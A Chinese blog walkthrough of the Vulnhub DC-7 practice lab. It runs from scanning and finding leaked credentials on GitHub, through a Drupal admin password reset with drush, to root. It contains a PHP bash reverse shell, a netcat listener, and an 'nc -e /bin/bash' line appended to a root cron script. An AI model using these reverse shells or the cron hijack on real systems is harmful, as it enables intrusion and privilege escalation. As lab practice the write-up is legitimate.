Vulnhub靶场案例渗透[7]- DC7

文章目录

  • [1. 靶场搭建](#1. 靶场搭建)
  • [2. 信息收集](#2. 信息收集)
    • [2.1 确定靶机ip](#2.1 确定靶机ip)
    • [2.2 服务信息收集](#2.2 服务信息收集)
    • [2.3 社工信息收集](#2.3 社工信息收集)
  • [3. 提权](#3. 提权)

1. 靶场搭建

靶场源地址

检验下载文件的检验码,对比没问题使用vmware打开

bash 复制代码
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

2. 信息收集

2.1 确定靶机ip

安装之后直接显示了靶机的ip。

2.2 服务信息收集

通过nmap探测靶机开放端口和端口对应服务

bash 复制代码
nmap -Ap 1-65535  192.168.6.102

确定开放端口:

  • 22:ssh服务
  • 80: http服务,并且由apache服务器启动

2.3 社工信息收集

访问网站发现,并且根据靶场提示信息暴力登录肯定不行,在查看到DC7USER,尝试在github进行搜索用户查询,找到代码的源代码仓库。

在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败,尝试ssh登录成功。

3. 提权

常见提权方法可参考我之前的文章常见提升权限方法

尝试SUID进行提权, 发现没有可利用的提权的文件

bash 复制代码
# 查找设置suid标志的文件
find / -perm --4000 -type f

尝试使用sudo进行提权,发现没有sudo这个命令,提权失败。

发现账号经常受到mail提醒,查看mail信息,发现有个定时任务定时执行一个脚本,并且执行身份设置为root,可以利用这个脚本进行提权。

查看对应脚本的权限信息,发现当前用户没有权限进行修改,需要用户组为www-data的用户才能进行修改,接下来得获取到www-data用户的shell才能进行提权。

发现web页面对应apache启动用户就是www-data.所以又转到web页面去了。

bash 复制代码
# 查询与某个用户相关的进程
ps -fu www-data

查看那个脚本内容,发现一个drush可以控制drupal框架,查看drush的文档发现可以直接更改用户的密码文档地址

```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

更改之后在wen页面登录成功。

bash 复制代码
# 更改admin的密码
drush user-password admin --password=admin

进入后台管理,发现在新建内容可以新建Basic page,大概就是全局页面都会引入这个内容,但是新建内容的时候发现不能写php文件,百度搜索发现添加插件可以解决,然后在拓展处添加php相关插件。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

在这个页面启用php拓展

新建basic-content添加如下内容,点击发布,成功获取到反弹sehll

php 复制代码
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>
bash 复制代码
# kali执行
nc -lvp 8888
bash 复制代码
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

拿到shell之后,修改backups.sh的内容,利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录,应该是15分钟执行一次。

bash 复制代码
echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh

成功获取到root的shell,在root的家目录下成功获取到目标flag。

相关推荐
勤奋的凯尔森同学24 分钟前
webmin配置终端显示样式,模仿UbuntuDesktop终端
linux·运维·服务器·ubuntu·webmin
竹言笙熙5 小时前
代码审计初探
学习·web安全
打不了嗝 ᥬ᭄5 小时前
Linux的权限
linux
落幕5 小时前
C语言-进程
linux·运维·服务器
深度Linux5 小时前
C++程序员内功修炼——Linux C/C++编程技术汇总
linux·项目实战·c/c++
风静如云7 小时前
OpenBMC:BmcWeb定义service
linux
网络安全King7 小时前
华为 网络安全 认证
安全·web安全
leoufung7 小时前
VIM FZF 安裝和使用
linux·编辑器·vim
网络安全-老纪7 小时前
网络安全-js安全知识点与XSS常用payloads
javascript·安全·web安全
underatted8 小时前
2025tg最新免费社工库机器人
web安全·网络安全